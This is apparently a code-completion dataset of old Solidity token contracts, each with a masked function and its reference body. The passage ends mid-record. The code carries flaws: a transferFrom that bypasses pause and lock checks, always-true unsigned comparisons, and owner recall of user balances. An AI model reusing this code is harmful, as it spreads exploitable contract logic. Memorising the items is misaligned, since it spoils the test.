contract AsiaModelFestival is BurnableToken,FreezeToken, DetailedERC20, ERC20Token,Pausable{ using SafeMath for uint256; event Approval(address indexed owner, address indexed spender, uint256 value); event LockerChanged(address indexed owner, uint256 amount); event Recall(address indexed owner, uint256 amount); event TimeLockerChanged(address indexed owner, uint256 time, uint256 amount); event TimeLockerChangedTime(address indexed owner, uint256 time); event TimeLockerChangedBalance(address indexed owner, uint256 amount); mapping(address => uint) public locker; mapping(address => uint) public time; mapping(address => uint) public timeLocker; mapping(address => uint) public unLockAmount; string public s_symbol = "AMF"; string public s_name = "Asia Model Festival"; uint8 public s_decimals = 18; uint256 public TOTAL_SUPPLY = 40*(10**8)*(10**uint256(s_decimals)); constructor() DetailedERC20(s_name, s_symbol, s_decimals) public { _totalSupply = TOTAL_SUPPLY; balances[owner] = _totalSupply; emit Transfer(address(0x0), msg.sender, _totalSupply); } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool){ require(balances[msg.sender].sub(_value) >= locker[msg.sender].add(timeLocker[msg.sender])); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool){ balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function lockOf(address _address) public view returns (uint256 _locker) { return locker[_address]; } function setLock(address _address, uint256 _value) public onlyOwnerOrAdmin { require(_value <= _totalSupply &&_address != address(0)); locker[_address] = _value; emit LockerChanged(_address, _value); } function setUnLock(address _address, uint256 _value) public onlyOwnerOrAdmin { require(_value <= _totalSupply &&_address != address(0)); locker[_address] = locker[_address].sub(_value); emit LockerChanged(_address, _value); } function recall(address _from, uint256 _amount) public onlyOwnerOrAdmin { require(_amount > 0); uint256 currentLocker = locker[_from]; uint256 currentBalance = balances[_from]; require(currentLocker >= _amount && currentBalance >= _amount); uint256 newLock = currentLocker.sub(_amount); locker[_from] = newLock; emit LockerChanged(_from, newLock); balances[_from] = balances[_from].sub(_amount); balances[owner] = balances[owner].add(_amount); emit Transfer(_from, owner, _amount); emit Recall(_from, _amount); } function transferList(address[] _recipients, uint256[] _balances) public onlyOwnerOrAdmin{ require(_recipients.length == _balances.length); for (uint i=0; i < _recipients.length; i++) { balances[msg.sender] = balances[msg.sender].sub(_balances[i]); balances[_recipients[i]] = balances[_recipients[i]].add(_balances[i]); emit Transfer(msg.sender,_recipients[i],_balances[i]); } } function setLockList(address[] _recipients, uint256[] _balances) public onlyOwnerOrAdmin{ require(_recipients.length == _balances.length); for (uint i=0; i < _recipients.length; i++) { locker[_recipients[i]] = _balances[i]; emit LockerChanged(_recipients[i], _balances[i]); } } function timeLock(address _address,uint256 _time, uint256 _value) public onlyOwnerOrAdmin{ require(_address != address(0)); uint256 unlockAmount = _value.div(10); time[_address] = _time; timeLocker[_address] = timeLocker[_address].add(_value); unLockAmount[_address] = unLockAmount[_address].add(unlockAmount); emit TimeLockerChanged(_address,_time,_value); } function lockTimeOf(address _address) public view returns (uint256 _time) { return time[_address]; } function lockTimeAmountOf(address _address) public view returns (uint256 _value) { return unLockAmount[_address]; } function lockTimeBalanceOf(address _address) public view returns (uint256 _value) { return timeLocker[_address]; } function untimeLock(address _address) public onlyOwnerOrAdmin{ require(_address != address(0)); require(time[_address] <= now); require(timeLocker[_address] >= 0); uint256 unlockAmount = unLockAmount[_address]; uint256 nextTime = time[_address] + 30 days; time[_address] = nextTime; timeLocker[_address] = timeLocker[_address].sub(unlockAmount); emit TimeLockerChanged(_address,nextTime,unlockAmount); } function timeLockList(address[] _recipients,uint256[] _time, uint256[] _value) public onlyOwnerOrAdmin{ require(_recipients.length == _value.length && _recipients.length == _time.length); for (uint i=0; i < _recipients.length; i++) { uint256 unlockAmount = _value[i].div(10); time[_recipients[i]] = _time[i]; timeLocker[_recipients[i]] = timeLocker[_recipients[i]].add(_value[i]); unLockAmount[_recipients[i]] = unLockAmount[_recipients[i]].add(unlockAmount); emit TimeLockerChanged(_recipients[i],_time[i],_value[i]); } } function unTimeLockList(address[] _recipients) public onlyOwnerOrAdmin{<FILL_FUNCTION_BODY> } function timeLockSetTime(address _address,uint256 _time) public onlyOwnerOrAdmin{ require(_address != address(0)); time[_address] = _time; emit TimeLockerChangedTime(_address,_time); } function timeLockSetBalance(address _address,uint256 _value) public onlyOwnerOrAdmin{ require(_address != address(0)); timeLocker[_address] = _value; emit TimeLockerChangedBalance(_address,_value); } function() public payable { revert(); } }
contract AsiaModelFestival is BurnableToken,FreezeToken, DetailedERC20, ERC20Token,Pausable{ using SafeMath for uint256; event Approval(address indexed owner, address indexed spender, uint256 value); event LockerChanged(address indexed owner, uint256 amount); event Recall(address indexed owner, uint256 amount); event TimeLockerChanged(address indexed owner, uint256 time, uint256 amount); event TimeLockerChangedTime(address indexed owner, uint256 time); event TimeLockerChangedBalance(address indexed owner, uint256 amount); mapping(address => uint) public locker; mapping(address => uint) public time; mapping(address => uint) public timeLocker; mapping(address => uint) public unLockAmount; string public s_symbol = "AMF"; string public s_name = "Asia Model Festival"; uint8 public s_decimals = 18; uint256 public TOTAL_SUPPLY = 40*(10**8)*(10**uint256(s_decimals)); constructor() DetailedERC20(s_name, s_symbol, s_decimals) public { _totalSupply = TOTAL_SUPPLY; balances[owner] = _totalSupply; emit Transfer(address(0x0), msg.sender, _totalSupply); } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool){ require(balances[msg.sender].sub(_value) >= locker[msg.sender].add(timeLocker[msg.sender])); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool){ balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function lockOf(address _address) public view returns (uint256 _locker) { return locker[_address]; } function setLock(address _address, uint256 _value) public onlyOwnerOrAdmin { require(_value <= _totalSupply &&_address != address(0)); locker[_address] = _value; emit LockerChanged(_address, _value); } function setUnLock(address _address, uint256 _value) public onlyOwnerOrAdmin { require(_value <= _totalSupply &&_address != address(0)); locker[_address] = locker[_address].sub(_value); emit LockerChanged(_address, _value); } function recall(address _from, uint256 _amount) public onlyOwnerOrAdmin { require(_amount > 0); uint256 currentLocker = locker[_from]; uint256 currentBalance = balances[_from]; require(currentLocker >= _amount && currentBalance >= _amount); uint256 newLock = currentLocker.sub(_amount); locker[_from] = newLock; emit LockerChanged(_from, newLock); balances[_from] = balances[_from].sub(_amount); balances[owner] = balances[owner].add(_amount); emit Transfer(_from, owner, _amount); emit Recall(_from, _amount); } function transferList(address[] _recipients, uint256[] _balances) public onlyOwnerOrAdmin{ require(_recipients.length == _balances.length); for (uint i=0; i < _recipients.length; i++) { balances[msg.sender] = balances[msg.sender].sub(_balances[i]); balances[_recipients[i]] = balances[_recipients[i]].add(_balances[i]); emit Transfer(msg.sender,_recipients[i],_balances[i]); } } function setLockList(address[] _recipients, uint256[] _balances) public onlyOwnerOrAdmin{ require(_recipients.length == _balances.length); for (uint i=0; i < _recipients.length; i++) { locker[_recipients[i]] = _balances[i]; emit LockerChanged(_recipients[i], _balances[i]); } } function timeLock(address _address,uint256 _time, uint256 _value) public onlyOwnerOrAdmin{ require(_address != address(0)); uint256 unlockAmount = _value.div(10); time[_address] = _time; timeLocker[_address] = timeLocker[_address].add(_value); unLockAmount[_address] = unLockAmount[_address].add(unlockAmount); emit TimeLockerChanged(_address,_time,_value); } function lockTimeOf(address _address) public view returns (uint256 _time) { return time[_address]; } function lockTimeAmountOf(address _address) public view returns (uint256 _value) { return unLockAmount[_address]; } function lockTimeBalanceOf(address _address) public view returns (uint256 _value) { return timeLocker[_address]; } function untimeLock(address _address) public onlyOwnerOrAdmin{ require(_address != address(0)); require(time[_address] <= now); require(timeLocker[_address] >= 0); uint256 unlockAmount = unLockAmount[_address]; uint256 nextTime = time[_address] + 30 days; time[_address] = nextTime; timeLocker[_address] = timeLocker[_address].sub(unlockAmount); emit TimeLockerChanged(_address,nextTime,unlockAmount); } function timeLockList(address[] _recipients,uint256[] _time, uint256[] _value) public onlyOwnerOrAdmin{ require(_recipients.length == _value.length && _recipients.length == _time.length); for (uint i=0; i < _recipients.length; i++) { uint256 unlockAmount = _value[i].div(10); time[_recipients[i]] = _time[i]; timeLocker[_recipients[i]] = timeLocker[_recipients[i]].add(_value[i]); unLockAmount[_recipients[i]] = unLockAmount[_recipients[i]].add(unlockAmount); emit TimeLockerChanged(_recipients[i],_time[i],_value[i]); } } <FILL_FUNCTION> function timeLockSetTime(address _address,uint256 _time) public onlyOwnerOrAdmin{ require(_address != address(0)); time[_address] = _time; emit TimeLockerChangedTime(_address,_time); } function timeLockSetBalance(address _address,uint256 _value) public onlyOwnerOrAdmin{ require(_address != address(0)); timeLocker[_address] = _value; emit TimeLockerChangedBalance(_address,_value); } function() public payable { revert(); } }
for (uint i=0; i < _recipients.length; i++) { uint256 unlockAmount = unLockAmount[_recipients[i]]; if(timeLocker[_recipients[i]].sub(unlockAmount) >= 0){ uint256 nextTime = now + 30 days; time[_recipients[i]] = nextTime; timeLocker[_recipients[i]] = timeLocker[_recipients[i]].sub(unlockAmount); emit TimeLockerChanged(_recipients[i],nextTime,unlockAmount); } }
function unTimeLockList(address[] _recipients) public onlyOwnerOrAdmin
function unTimeLockList(address[] _recipients) public onlyOwnerOrAdmin
44010
EthereumUltimate
claim
contract EthereumUltimate { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; uint256 public funds; address public director; bool public saleClosed; bool public directorLock; uint256 public claimAmount; uint256 public payAmount; uint256 public feeAmount; uint256 public epoch; uint256 public retentionMax; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public buried; mapping (address => uint256) public claimed; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed _from, uint256 _value); event Bury(address indexed _target, uint256 _value); event Claim(address indexed _target, address indexed _payout, address indexed _fee); function EthereumUltimate() public { director = msg.sender; name = "Ethereum Ultimate"; symbol = "ETHUT"; decimals = 18; saleClosed = false; directorLock = false; funds = 0; totalSupply = 0; totalSupply += 1000000 * 10 ** uint256(decimals); // Assign reserved ETHUT supply to the director balances[director] = totalSupply; // Define default values for Ethereum Ultimate functions claimAmount = 5 * 10 ** (uint256(decimals) - 1); payAmount = 4 * 10 ** (uint256(decimals) - 1); feeAmount = 1 * 10 ** (uint256(decimals) - 1); // Seconds in a year epoch = 31536000; retentionMax = 40 * 10 ** uint256(decimals); } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } modifier onlyDirector { require(!directorLock); require(msg.sender == director); _; } modifier onlyDirectorForce { require(msg.sender == director); _; } function transferDirector(address newDirector) public onlyDirectorForce { director = newDirector; } function withdrawFunds() public onlyDirectorForce { director.transfer(this.balance); } function selfLock() public payable onlyDirector { require(saleClosed); require(msg.value == 10 ether); directorLock = true; } function amendClaim(uint8 claimAmountSet, uint8 payAmountSet, uint8 feeAmountSet, uint8 accuracy) public onlyDirector returns (bool success) { require(claimAmountSet == (payAmountSet + feeAmountSet)); claimAmount = claimAmountSet * 10 ** (uint256(decimals) - accuracy); payAmount = payAmountSet * 10 ** (uint256(decimals) - accuracy); feeAmount = feeAmountSet * 10 ** (uint256(decimals) - accuracy); return true; } function amendEpoch(uint256 epochSet) public onlyDirector returns (bool success) { // Set the epoch epoch = epochSet; return true; } function amendRetention(uint8 retentionSet, uint8 accuracy) public onlyDirector returns (bool success) { // Set retentionMax retentionMax = retentionSet * 10 ** (uint256(decimals) - accuracy); return true; } function closeSale() public onlyDirector returns (bool success) { // The sale must be currently open require(!saleClosed); // Lock the crowdsale saleClosed = true; return true; } function openSale() public onlyDirector returns (bool success) { // The sale must be currently closed require(saleClosed); // Unlock the crowdsale saleClosed = false; return true; } function bury() public returns (bool success) { // The address must be previously unburied require(!buried[msg.sender]); // An address must have at least claimAmount to be buried require(balances[msg.sender] >= claimAmount); // Prevent addresses with large balances from getting buried require(balances[msg.sender] <= retentionMax); // Set buried state to true buried[msg.sender] = true; // Set the initial claim clock to 1 claimed[msg.sender] = 1; // Execute an event reflecting the change Bury(msg.sender, balances[msg.sender]); return true; } function claim(address _payout, address _fee) public returns (bool success) {<FILL_FUNCTION_BODY> } /** * Crowdsale function */ function () public payable { require(!saleClosed); // Minimum amount is 1 finney require(msg.value >= 1 finney); // Price is 1 ETH = 10000 ETHT uint256 amount = msg.value * 30000; // Supply cap may increase require(totalSupply + amount <= (10000000 * 10 ** uint256(decimals))); // Increases the total supply totalSupply += amount; // Adds the amount to the balance balances[msg.sender] += amount; // Track ETH amount raised funds += msg.value; // Execute an event reflecting the change Transfer(this, msg.sender, amount); } function _transfer(address _from, address _to, uint _value) internal { // Sending addresses cannot be buried require(!buried[_from]); // If the receiving address is buried, it cannot exceed retentionMax if (buried[_to]) { require(balances[_to] + _value <= retentionMax); } require(_to != 0x0); require(balances[_from] >= _value); require(balances[_to] + _value > balances[_to]); uint256 previousBalances = balances[_from] + balances[_to]; balances[_from] -= _value; balances[_to] += _value; Transfer(_from, _to, _value); assert(balances[_from] + balances[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { // Check allowance require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // Buried addresses cannot be approved require(!buried[msg.sender]); allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { // Buried addresses cannot be burnt require(!buried[msg.sender]); // Check if the sender has enough require(balances[msg.sender] >= _value); // Subtract from the sender balances[msg.sender] -= _value; // Updates totalSupply totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { // Buried addresses cannot be burnt require(!buried[_from]); // Check if the targeted balance is enough require(balances[_from] >= _value); // Check allowance require(_value <= allowance[_from][msg.sender]); // Subtract from the targeted balance balances[_from] -= _value; // Subtract from the sender's allowance allowance[_from][msg.sender] -= _value; // Update totalSupply totalSupply -= _value; Burn(_from, _value); return true; } }
contract EthereumUltimate { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; uint256 public funds; address public director; bool public saleClosed; bool public directorLock; uint256 public claimAmount; uint256 public payAmount; uint256 public feeAmount; uint256 public epoch; uint256 public retentionMax; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public buried; mapping (address => uint256) public claimed; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed _from, uint256 _value); event Bury(address indexed _target, uint256 _value); event Claim(address indexed _target, address indexed _payout, address indexed _fee); function EthereumUltimate() public { director = msg.sender; name = "Ethereum Ultimate"; symbol = "ETHUT"; decimals = 18; saleClosed = false; directorLock = false; funds = 0; totalSupply = 0; totalSupply += 1000000 * 10 ** uint256(decimals); // Assign reserved ETHUT supply to the director balances[director] = totalSupply; // Define default values for Ethereum Ultimate functions claimAmount = 5 * 10 ** (uint256(decimals) - 1); payAmount = 4 * 10 ** (uint256(decimals) - 1); feeAmount = 1 * 10 ** (uint256(decimals) - 1); // Seconds in a year epoch = 31536000; retentionMax = 40 * 10 ** uint256(decimals); } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } modifier onlyDirector { require(!directorLock); require(msg.sender == director); _; } modifier onlyDirectorForce { require(msg.sender == director); _; } function transferDirector(address newDirector) public onlyDirectorForce { director = newDirector; } function withdrawFunds() public onlyDirectorForce { director.transfer(this.balance); } function selfLock() public payable onlyDirector { require(saleClosed); require(msg.value == 10 ether); directorLock = true; } function amendClaim(uint8 claimAmountSet, uint8 payAmountSet, uint8 feeAmountSet, uint8 accuracy) public onlyDirector returns (bool success) { require(claimAmountSet == (payAmountSet + feeAmountSet)); claimAmount = claimAmountSet * 10 ** (uint256(decimals) - accuracy); payAmount = payAmountSet * 10 ** (uint256(decimals) - accuracy); feeAmount = feeAmountSet * 10 ** (uint256(decimals) - accuracy); return true; } function amendEpoch(uint256 epochSet) public onlyDirector returns (bool success) { // Set the epoch epoch = epochSet; return true; } function amendRetention(uint8 retentionSet, uint8 accuracy) public onlyDirector returns (bool success) { // Set retentionMax retentionMax = retentionSet * 10 ** (uint256(decimals) - accuracy); return true; } function closeSale() public onlyDirector returns (bool success) { // The sale must be currently open require(!saleClosed); // Lock the crowdsale saleClosed = true; return true; } function openSale() public onlyDirector returns (bool success) { // The sale must be currently closed require(saleClosed); // Unlock the crowdsale saleClosed = false; return true; } function bury() public returns (bool success) { // The address must be previously unburied require(!buried[msg.sender]); // An address must have at least claimAmount to be buried require(balances[msg.sender] >= claimAmount); // Prevent addresses with large balances from getting buried require(balances[msg.sender] <= retentionMax); // Set buried state to true buried[msg.sender] = true; // Set the initial claim clock to 1 claimed[msg.sender] = 1; // Execute an event reflecting the change Bury(msg.sender, balances[msg.sender]); return true; } <FILL_FUNCTION> /** * Crowdsale function */ function () public payable { require(!saleClosed); // Minimum amount is 1 finney require(msg.value >= 1 finney); // Price is 1 ETH = 10000 ETHT uint256 amount = msg.value * 30000; // Supply cap may increase require(totalSupply + amount <= (10000000 * 10 ** uint256(decimals))); // Increases the total supply totalSupply += amount; // Adds the amount to the balance balances[msg.sender] += amount; // Track ETH amount raised funds += msg.value; // Execute an event reflecting the change Transfer(this, msg.sender, amount); } function _transfer(address _from, address _to, uint _value) internal { // Sending addresses cannot be buried require(!buried[_from]); // If the receiving address is buried, it cannot exceed retentionMax if (buried[_to]) { require(balances[_to] + _value <= retentionMax); } require(_to != 0x0); require(balances[_from] >= _value); require(balances[_to] + _value > balances[_to]); uint256 previousBalances = balances[_from] + balances[_to]; balances[_from] -= _value; balances[_to] += _value; Transfer(_from, _to, _value); assert(balances[_from] + balances[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { // Check allowance require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // Buried addresses cannot be approved require(!buried[msg.sender]); allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { // Buried addresses cannot be burnt require(!buried[msg.sender]); // Check if the sender has enough require(balances[msg.sender] >= _value); // Subtract from the sender balances[msg.sender] -= _value; // Updates totalSupply totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { // Buried addresses cannot be burnt require(!buried[_from]); // Check if the targeted balance is enough require(balances[_from] >= _value); // Check allowance require(_value <= allowance[_from][msg.sender]); // Subtract from the targeted balance balances[_from] -= _value; // Subtract from the sender's allowance allowance[_from][msg.sender] -= _value; // Update totalSupply totalSupply -= _value; Burn(_from, _value); return true; } }
// The claimed address must have already been buried require(buried[msg.sender]); // The payout and fee addresses must be different require(_payout != _fee); // The claimed address cannot pay itself require(msg.sender != _payout); // The claimed address cannot pay itself require(msg.sender != _fee); // It must be either the first time this address is being claimed or atleast epoch in time has passed require(claimed[msg.sender] == 1 || (block.timestamp - claimed[msg.sender]) >= epoch); // Check if the buried address has enough require(balances[msg.sender] >= claimAmount); // Reset the claim clock to the current block time claimed[msg.sender] = block.timestamp; // Save this for an assertion in the future uint256 previousBalances = balances[msg.sender] + balances[_payout] + balances[_fee]; // Remove claimAmount from the buried address balances[msg.sender] -= claimAmount; // Pay the website owner that invoked the web node that found the ETHT seed key balances[_payout] += payAmount; // Pay the broker node that unlocked the ETHUT balances[_fee] += feeAmount; // Execute events to reflect the changes Claim(msg.sender, _payout, _fee); Transfer(msg.sender, _payout, payAmount); Transfer(msg.sender, _fee, feeAmount); // Failsafe logic that should never be false assert(balances[msg.sender] + balances[_payout] + balances[_fee] == previousBalances); return true;
function claim(address _payout, address _fee) public returns (bool success)
function claim(address _payout, address _fee) public returns (bool success)
66549
TIMEOUTTOKEN
Distribute
contract TIMEOUTTOKEN is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public Claimed; string public constant name = "TIME OUT TOKEN"; string public constant symbol = "TOT"; uint public constant decimals = 8; uint public deadline = now + 200 * 1 days; uint public round2 = now + 50 * 1 days; uint public round1 = now + 150 * 1 days; uint256 public totalSupply = 150000000e8; uint256 public totalDistributed; uint256 public constant requestMinimum = 1 ether / 10000e8; // 0.01 Ether uint256 public tokensPerEth = 1000000e8; uint public target0drop = 2000; uint public progress0drop = 0; //here u will write your ether address address multisig = 0xE2FCC0d51a09CcBb0CD84A9b4eABB2AFec531E4E; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); event Add(uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { uint256 teamFund = 75890000e8; owner = msg.sender; distr(owner, teamFund); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function Distribute(address _participant, uint _amount) onlyOwner internal {<FILL_FUNCTION_BODY> } function DistributeAirdrop(address _participant, uint _amount) onlyOwner external { Distribute(_participant, _amount); } function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external { for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; uint256 bonus = 0; uint256 countbonus = 0; uint256 bonusCond1 = 1 ether / 10; uint256 bonusCond2 = 5 ether / 10; uint256 bonusCond3 = 1 ether; tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) { if(msg.value >= bonusCond1 && msg.value < bonusCond2){ countbonus = tokens * 10 / 100; }else if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 20 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 35 / 100; } }else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){ if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 2 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 3 / 100; } }else{ countbonus = 0; } bonus = tokens + countbonus; if (tokens == 0) { uint256 valdrop = 7e8; if (Claimed[investor] == false && progress0drop <= target0drop ) { distr(investor, valdrop); Claimed[investor] = true; progress0drop++; }else{ require( msg.value >= requestMinimum ); } }else if(tokens > 0 && msg.value >= requestMinimum){ if( now >= deadline && now >= round1 && now < round2){ distr(investor, tokens); }else{ if(msg.value >= bonusCond1){ distr(investor, bonus); }else{ distr(investor, tokens); } } }else{ require( msg.value >= requestMinimum ); } if (totalDistributed >= totalSupply) { distributionFinished = true; } //here we will send all wei to your address multisig.transfer(msg.value); } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdrawAll() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function withdraw(uint256 _wdamount) onlyOwner public { uint256 wantAmount = _wdamount; owner.transfer(wantAmount); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function add(uint256 _value) onlyOwner public { uint256 counter = totalSupply.add(_value); totalSupply = counter; emit Add(_value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
contract TIMEOUTTOKEN is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public Claimed; string public constant name = "TIME OUT TOKEN"; string public constant symbol = "TOT"; uint public constant decimals = 8; uint public deadline = now + 200 * 1 days; uint public round2 = now + 50 * 1 days; uint public round1 = now + 150 * 1 days; uint256 public totalSupply = 150000000e8; uint256 public totalDistributed; uint256 public constant requestMinimum = 1 ether / 10000e8; // 0.01 Ether uint256 public tokensPerEth = 1000000e8; uint public target0drop = 2000; uint public progress0drop = 0; //here u will write your ether address address multisig = 0xE2FCC0d51a09CcBb0CD84A9b4eABB2AFec531E4E; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); event Add(uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { uint256 teamFund = 75890000e8; owner = msg.sender; distr(owner, teamFund); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } <FILL_FUNCTION> function DistributeAirdrop(address _participant, uint _amount) onlyOwner external { Distribute(_participant, _amount); } function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external { for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; uint256 bonus = 0; uint256 countbonus = 0; uint256 bonusCond1 = 1 ether / 10; uint256 bonusCond2 = 5 ether / 10; uint256 bonusCond3 = 1 ether; tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) { if(msg.value >= bonusCond1 && msg.value < bonusCond2){ countbonus = tokens * 10 / 100; }else if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 20 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 35 / 100; } }else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){ if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 2 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 3 / 100; } }else{ countbonus = 0; } bonus = tokens + countbonus; if (tokens == 0) { uint256 valdrop = 7e8; if (Claimed[investor] == false && progress0drop <= target0drop ) { distr(investor, valdrop); Claimed[investor] = true; progress0drop++; }else{ require( msg.value >= requestMinimum ); } }else if(tokens > 0 && msg.value >= requestMinimum){ if( now >= deadline && now >= round1 && now < round2){ distr(investor, tokens); }else{ if(msg.value >= bonusCond1){ distr(investor, bonus); }else{ distr(investor, tokens); } } }else{ require( msg.value >= requestMinimum ); } if (totalDistributed >= totalSupply) { distributionFinished = true; } //here we will send all wei to your address multisig.transfer(msg.value); } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); 